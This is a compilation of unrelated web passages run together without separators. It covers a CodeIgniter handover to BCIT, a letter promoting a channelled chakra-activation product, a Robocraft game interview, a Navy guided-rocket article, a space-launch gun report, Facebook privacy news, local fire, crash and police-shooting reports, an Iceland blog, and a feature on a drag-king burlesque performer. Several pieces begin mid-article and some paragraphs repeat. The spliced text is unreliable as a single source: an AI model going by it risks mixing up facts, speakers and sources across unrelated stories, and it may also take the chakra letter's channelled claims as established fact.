James Parry, a web technology instructor within the BCIT School of Computing and Academic Studies with many years of CodeIgniter experience, will lead the project. He will assemble a steering committee to advance and improve the framework. The committee will consist of members of the CodeIgniter community as well as some of BCIT’s standout students who have commercial web development experience. CodeIgniter will be a hub that BCIT students can gain real-world knowledge and experience around.
And that is the biggest advantage BCIT brought over other qualified candidates. If you use CodeIgniter, you will benefit directly from their stewardship. The success of their students is intrinsically tied to not just teaching, but in shaping CodeIgniter to be at the forefront of modern programming. The result for everyone using it is a solid and fresh foundation that you can count on.
About EllisLab
EllisLab is a focused technology company founded in 2001 that develops web-building software used by hundreds of thousands of people around the world. They are best known for their flagship product, ExpressionEngine®, a flexible content management system used by small businesses and Fortune 100 companies alike. EllisLab is also the original creator of CodeIgniter®, a popular light-weight PHP framework. For more information, please visit https://ellislab.com.
Rick Ellis
codeigniter@ellislab.com
About the British Columbia Institute of Technology
The British Columbia Institute of Technology is a public post-secondary institution with over 48,000 students enrolled into approximately 350 programs annually.
As Canada’s premier institute of technology, BCIT has been integral to building the economic, social, and environmental prosperity of British Columbia since 1964, producing more than 150,000 career-ready graduates over that time.
A leader in applied education, BCIT provides broad accessibility and varied pathways to learning, and relevant skills in a range of industries, including computing, business, shipbuilding, oil and gas, health care, applied research, media and engineering.
James Parry
jim_parry@bcit.ca
www.stankovuniversallaw.com
Dear Georgi,
Adama of Telos discussed the new 12 Chakra system with me and asked me to share it briefly here with you.
A woman by the name of Annette Sassou has produced a product called the “12 Activations of Light”. These recordings include channeled information from Adama and AA Michael, as well as the frequencies needed to achieve completion and integration of our crystalline system. It’s very interesting and I must say that since I have listened to these activations, I have had huge openings on an almost daily basis.
I normally wouldn’t recommend anything, but this has product had such an impact on me. Georgi, I leave it up to you. Maybe you don’t care to post it, just provide the link. Just let me know.
A quick review:
First White Ascension
Second Violet Balance of Feminine and Masculine Energies
Third Gold Resurrection of Divine Blueprint
Fourth Pink Divine Relationships
Fifth Blue Divine Expression
Sixth Green with Violet Divine Vision, Healing, Co-creating Heaven on Earth
Seventh Yellow Connection to Divine Mind, Wisdom and Portal
to Upper Five Chakras
Eighth Aquamarine Divine Connection and Healing of the Four lower
and violet bodies (Physical, emotional, spiritual and with
ethereal) 5 Feet above the crown
Ninth Magenta
and turquoise Connection of the Hearth and Throat, Immortality;
Connection to the Cyrstalline Grid of Gaia;
Turquoise 10 feet above the crown
Tenth White and Gold Divine Connection to Creator; Activation of the
Gold (flecks) Light body 15 feet above the crown
Eleventh Pink and Gold Divine Connection to your I AM presence
(Peach) 20 feet above the crown
Twelfth Opal (All colours) Divine Unification of All Chakras; Activation of the
Light Body ~ 30 feet above the crown
Please let me know what your thoughts are on presenting this. Thank you.
With love and light,
Carla
“Robocraft is an activity. It’s building with blocks and bringing it to life. In the future we’d love to realise that vision where Robocraft is much more than building colourful robots and battling in a World of Tanks-style simulation,” explains Mark Simmons, CEO and game director at Freejam.
If you’ve yet to investigate Robocraft, it’s a game of two halves: one where you clip together blocks from a selection of hundreds to create a robot of your own design, and another where you take that robot to do battle with other players. Developer Freejam are a young British studio made up of guys who worked on a failed pitch for a Minecraft handheld port, and turned their love of the block-builder into something new.
For their first game away from big studios and publishers (such as Sony Computer Entertainment Europe and Climax Studios), Robocraft is ambitious and, as a free-to-play MMO, entering a crowded marketplace. But from early in development, Simmons knew it was the path they had to tread: “The logic was: if we’re going to become a successful studio and grow into a larger studio, then the game has to be really big. It can’t be a little niche thing,” he reveals. “So we felt a User Generated Content game, where the users made their own content, would be a way to make the game much bigger than us.”
Freejam’s founders already had a basic block-building, physics-based prototype, but after deciding that free-to-play was the route they wanted to go down, the idea for an MMO where players could show off their designs to each other was born. “All kids want to make spaceships, right? All kids want to blow the crap out of other people’s spaceships. That seemed like it could be really big, so that’s when we all got excited,” enthuses Simmons.
Going free-to-play and Early Access meant something very important for Freejam: they could experiment and iterate. “We couldn’t afford to take the risk to spend two years developing a game that could fail. So we had to find out if we were going to fail as quickly as possible,” he explains. “We read this book on the ‘Lean Startup’ which was a small startup methodology based on building minimum viable versions of things, releasing them quickly to a small audience, iterating, and learning from the audience reaction. We’ve done that since the beginning and we’re still doing it now.”
The approach is inspired from the team’s time working in console development, where tight budgets and shock deadlines meant they had in the past put out work they weren’t fully pleased with. “You feel bad in the end, too: you know people are buying that product at full console price and you know the quality’s not there. And inside that makes you feel bad.” Working in an early access, free-to-play environment released them from those constrictions.
Aside from the increased freedom and chance to iterate, free-to-play also felt the most honest approach to Simmons. “We thought we’d never get people to spend money unless the game is engaging. It just feels a much better way of getting people to play, because they can genuinely play the game, and decide if they enjoy it before parting with their cash.”
After a slow start that was eventually rocket-propelled by YouTubers covering the game in Poland, Russia, and Japan, an alpha version of their game in constant flux is currently played by thousands. The game now has a bustling, enthusiastic community, which Freejam are in ongoing dialogue with as they plan updates. “What they want more than anything is more stuff. More guns, more functional parts, more maps, more features. They want more,” says Simmons.
And that’s exactly what’s in Robocraft’s future. Eventually the game’s complicated tech tree will be entirely eradicated, which will lead to a very different approach to creating new components. Currently the multiple tiers mean Freejam have to create 11 different variations of a single component, gradually increasing in power for each tech tier the player progresses to. With this system scrapped, Freejam can focus on creating lots of different items, rather than multiple versions of just one. The goal is for a broad, exciting range of components and weapons.
Right now though, it’s all about colour. “When we started out we decided that colour would equal armour, and that was a mistake that we made,” explains Simmons. “Many players who wanted to be creative would mix the colours and then make really rubbish robots and have a terrible time. Now you can literally colour your robot with a paint tool and you can colour it any way you want. If you want to make a robot that looks really cool, if you want to make the Millenium Falcon or an X-Wing fighter or Wall-E or something like that, then you should be able to make it and it should not suck in combat.”
Joining the new colour tool in the Full Spectrum Combat update is the opening up of Battle Arena, Team Deathmatch, and The Pit game modes for all players from the moment they start playing. When in these games, a new health regen system will restore destroyed components if players stay out of combat for a while, adding a little more tactical depth.
The Community Robot Factory, a system where users can upload their designs for other players to use, is also getting a tweak, changing from a rental store to a purchasing system. Players will be able to buy robots from the Factory with the in-game earnt RP currency and make modifications to them. “This is part of a drive we have to allow you more flexibility, and helping those people who struggle to build really battle efficient robots some opportunity to enjoy the game and learn how to build good robots by first buying other people’s,” explains Simmons.
The update is one of the biggest Freejam have ever done, but it’s clear that this is tiny in comparison to their dreams for the Robocraft project. It started out following Minecraft and World of Tanks as inspiration for its build and battle modes, but those training wheels are being left behind. “We now feel our initial follow of World of Tanks was a mistake, but we’d be hard pressed to say it didn’t get us to where we are now. It certainly helped us in the early days, but getting away from that to something that’s more Robocraft is what this next couple of launches is all about. We can finally break free and start to broaden the game,” reveals Simmons.
HSC-7 tested the guided rocket system in an Aug. 17 live-fire drill for the first time, after West Coast units have already deployed with APKWS but the East Coast units had only been able to simulate the new tactics.
Lt. Erik Gustafson, tactics officer at HSC-7, told USNI News on Thursday that APKWS “fills in a very important part of the lethality gap in our weapons footprint,” hitting a sweet spot between the AGM-114 Hellfire missile and unguided 20mm cannons and 2.75-inch rockets.
APKWS is a laser guidance section that screws into the middle of 2.75-inch rocket, such as the Hydra rocket the Navy uses. The BAE Systems-built product went into full-rate production in 2012 and is now going through exercises and demonstrations in the U.S. Army and several international militaries. The idea behind the system is to provided a guided munition capability while leveraging what is already in militaries’ inventories and without requiring modifications to the aircraft.
With the Hellfire, the squadron gets a “big boom and pretty significant range and a high cost per round. So we have excellent standoff with that weapon, but it comes at a pretty significant price. And for our target set, it’s relatively significant overkill, to put it lightly,” Gustafson said of the primary ship defense mission.
“Ship defense is one of our major roles, so unguided weapons are an excellent reactive capability, but we talk about them bringing you into the knife fight – very close proximity, but very easy to turn on the bad guy and kill them quickly. So APK sits right in the middle of those two windows – they’re a guided weapon, so in some sense it’s a little bit more difficult to employ, but a higher reliability and a higher ratio of kills per round expended.”
<iframe width=”1280″ height=”720″ src=”https://www.youtube.com/embed/aPXh0SpQU6w” frameborder=”0″ allowfullscreen></iframe>
Prior to Monday, the HSC-7 crew had only read about the tactics employed by the West Coast squadrons, so actually firing the guided rockets downrange was a great experience for the crew, Gustafson said. The rocket pods actually showed up before the training aids, he said, so the crew went out to see what they could do without having practiced in the simulator – and they hit 13 of 15 moving and static targets.
“All the stuff that we’ve done so far has been completely notional and just kind of imagining it. We’ve flown the profiles … but we’ve never actually seen the stuff on the screen and never actually had the pilot load it before. So this was that missing link, where we get to interface with the software and we actually get to send rounds downrange,” Gustafson said.
He noted that the APKWS capability does not replace any weapons or eliminate any previously used tactics, but rather augments what the MH-60S squadrons were already doing.
“We can take multiple shots with APKWS rounds as we proceed into the target, and then we can clean up with probably our 20mm cannon,” Gustafson explained.
“We can mix and match a variety of different weapons, but I think the common configuration you’ll see is a port-mounded 20mm cannon and a starboard-mounted LAU-61G/A, which is the new rocket pod we use to fire the APKWS rounds. So that allows us a good combination of mid-range strike and then close in to complete the engagement with 20mm. The major change in tactics is we now have the ability to service targets at any range very reliably.”
The Hellfire missile typically is effective up to 8,000 meters, he said, but is expensive. Unguided weapons are only effective up to 1,500 meters or less. APKWS gives pilots reliable accuracy between 2,000 and 5,000 meters.
“In general [firing a guided weapon] requires a bit more coordination to employ, but the tradeoff is we have a higher reliability and a greater standoff range,” he said.
JW Walls is proud to announce its exclusive partnership with the Tate Modern to bring you a collection of the world's greatest works of fine and modern art to enjoy as part of your interiors.
Whether you're a fan of restful pastoral scenes or vivid abstract art, our Tate Collection has the iconic master work for you. Explore our collection now and refine your search by style, colours or picture orientation.
Tate is one of the world's leading art institutions. Its Collection is shared by the family of four galleries: Tate Britain, Tate Modern, Tate Liverpool and Tate St. Ives.
Tate's Collection consists of over 65,000 works of art encompassing British art from 1500, including iconic masterpieces by Gainsborough, Constable, Turner, David Hockney and Henry Moore, and international modern art from 1900, featuring works by modern and contemporary artists such as Dali, Picasso, Matisse, Rothko to Emin, Hirst, Warhol and AndreasGursky.
Tate Images is part of Tate Enterprises Limited, the trading arm of Tate. All of its profit is covenanted to Tate each year, and plays a vital role in contributing to the up keep of a number of departments including conservation and photography.
The gun is based on a smaller device Hunter helped to build in the 1990s while at the Lawrence Livermore National Laboratory (LLNL) in California. With a barrel 47 metres long, it used compressed hydrogen gas to fire projectiles weighing a few kilograms at speeds of up to 3 kilometres per second.
Now Hunter and two other ex-LLNL scientists have set up a company called Quicklaunch, based in San Diego, California, to create a more powerful version of the gun.
At the Space Investment Summit in Boston last week, Hunter described a design for a 1.1-kilometre-long gun that he says could launch 450-kilogram payloads at 6 kilometres per second. A small rocket engine would then boost the projectile into low-Earth orbit.
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Huge g-forces
While humans would clearly be killed and conventional satellites crushed by the gun’s huge g-forces, it could lift robust payloads such as rocket fuel. Finding cheap ways to transport fuel into space will lower the cost of keeping the International Space Station in orbit, and in future it may be needed to supply a crewed mission to Mars.
The gun would cost $500 million to build, says Hunter, but individual launch costs would be lower than current methods. “We think it’s at least a factor of 10 cheaper than anything else,” he says.
Franklin Chang-Diaz, a former astronaut and physicist at the Ad Astra Rocket Company based in Webster, Texas, says a launch gun might make more sense on the moon, where there is no atmosphere. “You don’t have to worry about drag or heating or anything like that,” he says.
Welder’s torch
Hunter acknowledges that the projectile would be slowed by its passage through Earth’s atmosphere. But he says drag would be minimal on a pointy-nosed projectile, causing it to slow by only half a kilometre per second.
Facebook's announcement last week of simpler privacy settings was a good first step, users and privacy advocates said. But the company is continuing to sweat it out from pressure around the world that it still isn’t doing enough. And the biggest concerns revolve around their policy to share information about users unless their subscribers proactively opt-out.
Many have already seen the D8 conference video of Facebook CEO Mark Zuckerberg (highly suggest following Twitter hashtag #D8 on his speech – the sweat! the hoodie! the drama!), where the founder literally was under heat from privacy questions by The Wall Street Journal’s Walt Mossberg and Kara Swisher.
Today, the company’s former head of privacy said the social network for near 500 million users hasn’t gone far enough.
Chris Kelly, who is running for California Attorney General, said his former employer is still leaving its users vulnerable because of an opt-out policy for users who don’t want their information shared with partner sites Yelp, Pandora and Microsoft's Docs. Specifically he emailed MoveOn’s email listserve saying Facebook’s opt-out policy for Instant Personalization – where a subscriber’s list of contacts automatically appear on those partner sites.
”Today, I remain troubled by the news that Facebook still plans to offer only an opt-out to ‘instant personalization’—meaning that users' information will be shared with third parties without clear consent,” Kelly wrote to MoveOn’s listserve. He called on members to sign join the 171,00-member strong Facebook group: “Facebook: Respect my privacy.”
Facebook said its instant personalization program is easier to shut off with new privacy settings announced last week.
In addition, Germany’s consumer protection minister, Ilse Aigner, said Thursday that after meeting with Facebook’s European policy director about the company’s recent privacy changes, she had “doubts as to whether these improvements will really bring a true turning point,” according to the Associated Press.
Aigner said she plans to delete her Facebook account and said that her meeting with the company "unfortunately confirmed my skepticism."
Facebook spokesman Andrew Noyes said the meeting with Aigner was "constructive."
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This Week’s Audible Recommendations:
The Cat in the Hat and other favorites Written by Dr. Seuss Narrated by: Kelsey Grammer, John Cleese, and Billy Crystal
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Copyright by KRQE - All rights reserved Fire near Tijeras
TIJERAS, N.M. (KRQE) - A truck fire quickly turned in to a wildfire in Cedar Crest on Monday.
It happened along North 14 near Matterhorn.
Crews say they were able to get the fire under control quickly. They estimate it burned about three ares.
They say one structure was threatened and the people inside were evacuated.
Bernalillo County officials now say those people are being allowed to return.
Crews will remain on scene throughout the afternoon to monitor hot spots.
NM 14 is now reopen, with one lane open in each direction.
The burning truck as it rolled into the trees on HW 14 #NMfire pic.twitter.com/wRAQOnaVum — Kasimir Gabert (@kasimirgabert) July 3, 2017
AUSTIN (KXAN) -- An overturned 18-wheeler on U.S. 183 at SH 45 in Cedar Park is causing traffic to back-up in the area. Police say the truck crash happened just after 12:30 p.m. and is currently blocking the southbound U.S. 183 ramp to eastbound SH 45.
Copyright by KXAN - All rights reserved Debris from the overturned semi fell onto the roadway below. (Courtesy: Jenny Lee Burton)
Copyright by KXAN - All rights reserved Debris from the overturned semi fell onto the roadway below. (Courtesy: Jenny Lee Burton)
The truck also lost its load, some of which fell onto the frontage road below. It is not clear if any vehicles were damaged from the items from the truck. Photographs from KXAN viewers show the truck carrying large blue piping.
The truck driver does not have any major injuries. Police say the driver will be cited for failure to control speed.
Bryan Deras works at the nearby IHOP and heard the pipes falling to the ground.
"It kind of looked like a tornado went by and started throwing everything around because some were falling straight down here, some were bouncing off of things and going all over the place," said Deras. "It shook for a good four or five seconds, not even exaggerating."
In you haven’t heard, Iceland has been voted one of the safest places in the world to live. You can absolutely feel that here. There seems to be little fear of theft. Bikes and baby carriages are left outside shops unlocked, and cars left running without anyone watching them for several minutes at a time in front of houses. Strangers aren’t dangerous (because in a city this small, there aren’t that many strangers) and night doesn’t make the city any less safe. I’m a pretty cautious person when it comes to cities, but I’ve gone for runs here at midnight and no one considered that unsafe.
In Reykjavik, police are not the enemy. There have been several large protests recently against the government. Wandering around the crowd, I saw officers learning against barriers in front of the parliament to chat to the protesters.
To all the awesome people arriving here from Reddit: Welcome to my blog! I’m an American living in Iceland studying Vikings and other cool things. Check out my About page for more about me, and then hop over to my blog’s facebook page to get daily film photography straight from your favorite tiny Nordic island.
Donohue has nearly 17 years of experience with the GJPD as a patrol officer. He also serves in a collateral duty assignment handling major traffic accident investigations.
Until the investigation conducted by the 21st Judicial District Critical Incident Response Team is completed, Donohue will remain on Administrative Leave.
On Tuesday, 17-year-old David Gaines became involved in a physical altercation with his father at their home on the Redlands. He then left the home in a silver pickup truck, believed to be his fathers, and also left with a long gun and a backpack containing ammunition as well as other items.
Prior to shooting Gaines, officers say the 17-year-old had got into a physical altercation with his father. Gaines was later seen speeding in a silver pick-up truck, with what is being described as a long gun and a backpack containing ammunition, when he then crossed into the opposing lane and hit a motorcyclist- killing 57-year-old Preston Ellis.
The suspect then began walking away from the scene of the accident, with gun still in hand. Officers responded to the accident scene, but also began getting reports from a number of witnesses advising them of the suspect’s direction of travel.
The suspect ended up near a park on 10th street where he forcibly tried to take a woman's SUV, that was occupied by her two children. Numerous kids were also in the park at a soccer practice.
Officials say the woman observed a male subject with a gun approaching her vehicle and she obviously became alarmed. As she began to make an effort to start the car and leave, the subject contacted her at her vehicle and forcefully ordered all of them out of the car. They did what they were told, and began to flee from the vehicle.
At about that time, officers from the Grand Junction Police Department, the Mesa County Sheriff’s Office, and the Colorado State Patrol began arriving in the area, having received updates from citizens calling the Communication Center.
From just across the street, Officers engaged the subject who was standing at the carjacked vehicle, and an officer-involved shooting resulted. The subject was treated at the scene, transported to St. Mary’s hospital by the Grand Junction Fire Department and died a short time later.
P-Town is one of the oldest gay vacation destinations in the United States. BenDeLaCreme calls it “the city where soft serve meets sodomy,” and periodically children with ice cream cones do stop to gawk at the group. It’s “family week,” and the burlesque show the Bombshells are promoting is—sort of—family friendly. There’s no actual nudity or bad language. “It would go right over their heads,” DeLaCreme says, sweeping a hand over six inches of firmly secured wig to demonstrate.
“Jungle Boogie” plays on a portable speaker as Lou Henry Hoover hands a flier to a middle-aged man. “Come to the show tonight,” he chirps, smiling as he walks past.
“I think that one was really a girl,” he tells the woman next to him.
Here is the hurdle Ricki Mason must constantly leap across: how to get a random guy and his wife to see her onstage persona, Lou, as more than a stripping girl in a moustache.
A classically trained dancer with a sweet, expressive face, Lou Henry Hoover is one of the most well-loved personas in boylesque—burlesque strip shows starring male-identified performers, sometimes in drag but typically not—and also one of the most unusual. Not just because of the dance-school pedigree, but also because Lou is the drag persona of Ricki Mason a person who feels female (albeit what she calls “a real peacock of a butch”) in her day-to-day life and male when dancing (and stripping) onstage.
We expect stripping to reveal more about a person’s gender. This isn’t what happens when Lou performs. Somehow, wearing fewer clothes brings greater freedom to play with identity. Without pasties or a g-string, Mason-as-Lou gets to “invent what nude means.” Sometimes it’s a balloon cock and a dickey; on other occasions, “nude” is a binder, a glued-on codpiece, or a strategically placed beer bottle.
A mix of dance skills, charisma, and unusual gender presentation has made Lou a celebrated outsider in the burlesque world—a performance community that revels in its own outsider status. Because Lou doesn’t fit perfectly anywhere, he’s had the opportunity to take the stage pretty much everywhere. But the farther and wider Lou performs, the less likely it will be that his audiences have spent time thinking about things like the politics of queerness, or gender identity in drag performance.
On the streets of Provincetown, people of all ages swarm BenDeLaCreme. They are star struck. She was on TV, after all. But professional gender-benders have always had a tenuous relationship with the wider public that sees drag as no different from a Halloween costume. At best, they’re embraced but largely misunderstood. At worst, they’re mocked as sad, cartoonish approximations of actual men and women.
Six weeks earlier, Ricki Mason had been preparing for the Burlesque Hall of Fame Weekender competition—the burlesque world’s Academy Awards. Snaps had to be sewn, pompoms purchased, and glitter glued before Mason and her wife, fellow Atomic Bombshell Susanna Welbourne, also known at Kitten LaRue, could pack seven outfits into six suitcases for the trip to Las Vegas. One of Susanna’s wigs would fill an entire bag.
At close to eight in the evening, Mason walked to Beauty Curators on Sixth Avenue in Manhattan. In cut-off jean shorts and an oversized Madonna T-shirt, she carried a Styrofoam head somewhere in her cluster of shopping bags. The store had just closed, so Mason knocked on the window and a woman with a high, shiny ponytail opened the door.
Mason had done burlesque once before; dolled up as a pretty lady, she says the strip tease “didn’t feel powerful” to her the way it did for some women. But then she created a boylesque act where she was an angel who was becoming human to be with his lady; stripping in drag offered “a secret key to a new place.” The shelves are lined with building materials for New York City’s nightlife looks—bottles of hair product, brushes and combs, and a rainbow of hair extensions. This is Home Depot for drag queens. Mason’s wig designer, Marco, was at work in the back. Matted and crushed hairpieces waited for rehabilitation on the table behind him. He was worried that a wig made from Barbie heads might not be ready in time for this year’s Gay Pride celebrations.
“You want to try?” Marco presented a chestnut pompadour, like a fuzzy wave crashing above the forehead. Mason’s hair—a lighter brown, flatter version of the pompadour—was already under a flesh-colored wig cap.
She twisted in her chair to inspect the back and sides in the mirror. Staring back at Mason is Lou, an earnest, all-American guy who tries hard and fails harder, whether he’s a cowboy, a Romeo, a disco dancer, or a clown. Mason has been performing as this perpetual underdog, the delightful and unflappable loser with a heart of gold, for more than seven years. By now, she is simply “Lou” to many friends and fans.
In the back of Beauty Curators, Mason and Marco fussed over the wig, pulling down the sideburns and pressing the puffy, pretty-boy upsweep into shape. Lou wears this wig during a cowboy-themed act called “Wanted,” a number he and Kitten would perform during the Burlesque Hall of Fame Weekender’s “small groups” competition. In pink western wear, Lou and Kitten rob a bank, shoot some guns, and tear each other’s clothes off before losing all the money.
In Vegas Lou would also compete against three other dancers for the title of King of Boylesque. As far as anyone can remember, Lou is the first drag king boylesque competitor in the pageant’s 25-year history.
It hasn’t always been chest binders and glitter mustaches for Ricki Mason. Growing up in Lexington, Massachusetts, Mason was the youngest child in a family of four with strong ties to the military. When she was nine, her older brother left home for the naval academy. For a while she wanted to go too, and her parents were thrilled. “You’ll love it there,” they encouraged. “There’s a glee club.”
Performing soon took over her adolescent life. She’d been taking dance classes every day, dreaming of studying musical theater at the University of Michigan and dancing in Fosse, but she didn’t make it into the program. At Michigan, she settled for and then fell in love with modern dance, where every movement has a precise meaning and intention.
After college, Mason moved to Seattle to front a modern dance company called LAUNCH. The city is home to a vibrant community of drag and circus performers. Far away from people she’d grown up with, Mason felt freer to express queerness on and off stage, and it was here that she discovered boylesque.
Mason started crossing paths with queer performers who formed the backbone of Seattle’s vibrant circus, drag, and burlesque scenes. She’d done burlesque once before; dolled up as a pretty lady, she says the strip tease “didn’t feel powerful” to her the way it did for some women. But then Mason created a boylesque act where she was an angel who was becoming human to be with his lady. “At least that was the story in my head,” she says. Mason wore a suit and angel wings. “I was pretty much an angel taking my clothes off.” Stripping in drag offered “a secret key to a new place.” It was fun to have a persona on stage and Mason loved choreographing to popular music, something the modern dance world discouraged.
Mason took the name Lou Henry Hoover after the adventurous, Chinese-speaking former first lady. Many of her performances express the nostalgia, affection, and disillusionment she feels for America. Mason’s brother and sister-in-law had been married at the naval academy chapel when they were both serving in the armed forces. But her sister-in-law came to oppose the war, and was working to help civilians survive when she died in Iraq. Mason choreographed an evening-length modern dance piece about her death.
The drag performances are lighter than the eulogy for her sister-in-law, of course, but still draw on classic Americana, especially iconic images of American masculinity. “I wish that the American dream was true,” Mason says. Her costumes, choreography, and the earnest but clueless persona of Lou Henry Hoover reflect this sentiment and her family’s ties to the military. “I wish you could believe that fighting for your country is the right thing and that country songs were true.”
Lou Henry Hoover is an affable underdog, a Charlie Chaplin character who tries and usually falls short—as a cowboy, a sailor, a tough guy, or a loverboy. In an early act, Lou was a magician whose tricks all failed. Rather than disappearing, the handkerchief fell through his hand onto the stage.
In 2010, Lou performed the magic act in Provincetown with the Atomic Bombshells, the burlesque troupe co-fronted by Welbourne and BenDeLaCreme. Welbourne had been bringing the Bombshells to P-Town for a month-long residency since 2005. At the very tip of Cape Cod, far from prying eyes or errant travelers, P-Town was home to artists’ colonies and experimental theater groups that brought early 20th-century queers to the area. Today, it’s a destination for gay and straight tourists. With the highest proportion of same-sex couples in the country, the town offers a glimpse of a world (or at least a vacation spot) in which straight people are a minority.
With two queer strippers holed up in a beach town so gay it hosts an annual “bear week,” a showmance seemed inevitable. Kitten and Lou had performed together before in Seattle but they’d never had a chance to talk backstage. During the flight to Massachusetts, they chatted nonstop. Mason liked Welbourne, but assumed she was straight. A friend who was performing with them and knew better guessed right away that Mason would be Wellbourne’s summer’s hook-up. It happened when they were drunk at the bar, and in the days and weeks that followed they kept it up. “Everyone’s just like dying in love with Lou,” Welbourne explains. “They just wanna put her in their pocket.” When they weren’t performing, the pair would amble down Commercial Street, “sucking face like insane people,” says Mason.
The next summer Kitten and Lou performed a duet in New Orleans. Mason suggested a wedding theme, and though it was a statement on Washington State’s marriage referendum it was also a bit of wishful thinking. Welbourne and Mason got engaged in a photo booth the following year. The invitations to their 2013 wedding promised “an extravaganza of wedding eleganza.” Both brides wore ivory accented with teal leopard print. The officiant had a goatee full of glitter and BenDeLaCreme was the wedding’s art director. There were choreographed dance numbers, a bouncy castle, a musical performance by RuPaul’s Drag Race winner Jinkx Monsoon, and more pompadours and beehives than a 1950s prom. The UK Daily Mail dubbed it “the most outrageously camp wedding ever.”
While neo-burlesque attracts women looking to be both sexual and subversive on stage, the form also appeals to men who want to challenge gender stereotypes, either through drag, camp, or traditionally gay imagery.
Two years later, Welbourne and Mason reflect on the ways they’ve influenced each other. “I upped your style game a little,” Welbourne tells Mason. “When I first met you and Lou, Lou was like, ‘Oh, let me just pop on these plaid pants from the thrift store.’” Mason looks sheepish.
Their acts are more polished now. In their cowboy number, “Wanted,” the couple play bank robbers on the run, wearing handkerchiefs across their faces and bright pink western wear accented with fringe and pictures of cacti. Ten-gallon hats fly off to reveal tiny cowboy hats underneath. Lou proclaims his love for Kitten. He strokes her cheek for a little too long and she grimaces and moves his hand to her chest. After stripping down while being chased by the law, Kitten throws the money they’ve stolen in the air, and it rains down over her. Lou gets bitten on the crotch by a rattlesnake.
The masculinity that Lou presents is more Village People than Magic Mike. Though being in love with a woman means that we see Lou as a hetero guy, Welbourne insists that the persona “is not an image created for a straight woman.” The military outfits, the sequins, and the musical theater dance moves—“it’s very coded.”
They performed “Wanted” at a burlesque competition in Las Vegas this summer. Lou was the only boylesque performer who took the stage. The act plays well to the rockabilly crowd, but Lou thinks the organizers put her on because, to them, she was still a female performer—a girl stuffing her dance belt. “This act has such a candy coated vibe, it doesn’t matter that I’m a drag king,” she says.
An edgy and popular form of strip tease in the early-to-mid-twentieth century, burlesque evolved into what we now know as stripping. But in the 1990s and early 2000s, performers such as Dita Von Teese began to popularize the form in what some call neo-burlesque. More likely to be watched in an art-house theater or cabaret than at a strip club, today’s burlesque performers are often overtly feminist and less commercially minded than their predecessors.
While neo-burlesque attracts women looking to be both sexual and subversive on stage, the form also appeals to men who want to challenge gender stereotypes, either through drag, camp, or traditionally gay imagery.
The Burlesque Hall of Fame Weekender competition’s organizers created the King of Boylesque category in 2006, after some male performers had been lobbying to compete for the title of queen. Jo Weldon, headmistress of the New York City School of Burlesque and the co-executive director of education at the Burlesque Hall of Fame, recalls that the category was created as a way to include a more diverse group of performers in what was becoming an increasingly formal event and title.
When Lou applied to be King of Boylesque, organizers again had to decide how to embrace innovation while respecting the general desire for clearly defined categories. The burlesque world is overwhelmingly female, and so male performers can have a “novelty factor,” says Dustin Wax, executive director of the Burlesque Hall of Fame. This means they often score higher in mixed gender competitions.
Lou’s participation in the boylesque competition has led to some backstage rumblings that a male performer could try to game the system and snatch the title of queen. Weldon, whose stage name is “Jo Boobs,” does not share this concern. Performers should be able to choose which category they compete in. “If a man picks the Queen category and he qualifies, we’ll have to deal with it,” she says. Wax thinks that ultimately it’s more important to embrace creativity than to protect against those few who might take advantage of the contest’s flexibility. When deciding whether to allow Lou Henry Hoover to perform, Wax and the organizers wondered, “Is boylesque about your junk?” No, they decided. “It’s about a way of approaching gender.”
About 40 people have trickled in to one of those generic hotel ballrooms for a roundtable on gender representation and identity. At the Orleans Hotel and Casino in Las Vegas, the King of Boylesque competition is in two days; Jo Weldon organized this panel to quiet any discontent about Lou’s inclusion and foster a conversation about gender throughout the history of burlesque. Though Mason is not trans, Weldon and the contests’ organizers hope Lou’s take on gender roles will lead to broader recognition of trans and gender non-conforming people’s place in the burlesque world. Trans performers have always been a part of burlesque, many people are careful to point out, but because most were stealth, it’s been hard to acknowledge and credit their contributions. An exception is Miss Violet DeVille, an out trans woman who’s also on the panel.
When it’s Mason’s turn to talk, she tells the story of how she started doing drag and says she feels lucky that “gender has always felt relatively light to me—it’s nice I can be playful about it.”
The crowd gets to watch Mason-as-Lou do just that during one of the strongest King of Boylesque competitions in the past few years. The night is introduced by Tigger!, a performer who won the first boylesque competition in 2006 and calls himself “The original King of Boylesque.”
Introducing the contest, Tigger! says that “aside from promotion, boylesque is an artificial, irrelevant distinction based on the myth of a gender binary.”
“We’re all in the same gang,” he tells the cheering crowd.
Tigger! doesn’t mention Lou by name—it would have been inappropriate to single out one performer. Instead, he tells the audience he is “thrilled that a drag king has finally entered the game … because this is all supposed to be a variety show. So hats off—and pants off—to variety!”
Lou appears on stage, illuminated by a single spotlight. His inch-thick, comma-shaped eyebrows rise and fall. As Cyndi Lauper sings, “sometimes you picture me,” Lou frames his face with his hands. Moving purposefully across the stage he pantomimes walking, “calling to me,” and the second hand of a clock unwinding.
The bright blue of Lou’s sailor suit suggests an MGM musical about a young serviceman whose ship is about to sail. The act is wistful and funny, but it is not particularly sexy. After cartwheels, pirouettes, and arabesques, Lou slowly and purposefully peels off his sailor shirt to reveal another sailor shirt. Just as Lou’s dancing threatens to turn sentimental, he scales it back with a hip thrust or a blank look.
Removing the rest of the costume is a struggle. Lou is self-conscious, and once he’s made it down to a binder painted with tattoos and a blue and white sequined dance belt, a flash of ass is the closest he gets to nude. Now that this sailor has bared himself for the audience, he celebrates the revelation with a knee slide … only to pull another, identical sailor suit out of his bag. Pompoms fly through, the air, the audience erupts, and Lou puts his costume back on.
Mason thinks Lou won the crowd, even though he didn’t get the crown. The act that did win was “classic burlesque,” danced to a medley from West Side Story. The performer, Matt Finish, teased, waved, shook his ass and did the splits. Weldon was in the audience and insists that gender isn’t the reason Lou’s performance, which she called “enormous, wonderful, beautiful,” didn’t win. “Nobody complained to me about Lou except one purist person. I don’t care,” she said.
“I’m a queer person, I drew it on my face … [but] I’m going to present a universally human experience.”
During the Weekender, last year’s King, Mr. Gorgeous, gave a step-down performance. He won in 2014 with an ice cream-themed act in which he conceals his cherry-garnished package with fans shaped like pieces of a waffle cone. Gorgeous is six-and-a-half-feet tall and has a silly, self-deprecating style. During the act, he smells his shoes and armpits, recoils in disgust, and then winks seductively at the audience. The crowd reacts to his wholesome good looks, sure, but a winning boylesque performer needs more than sex appeal and “another act with feather fans,” Gorgeous says. At a time when you can watch hardcore porn on your phone while in line at the DMV, a drawn out strip tease with pasties and a g-string is unlikely to grab people’s attention.
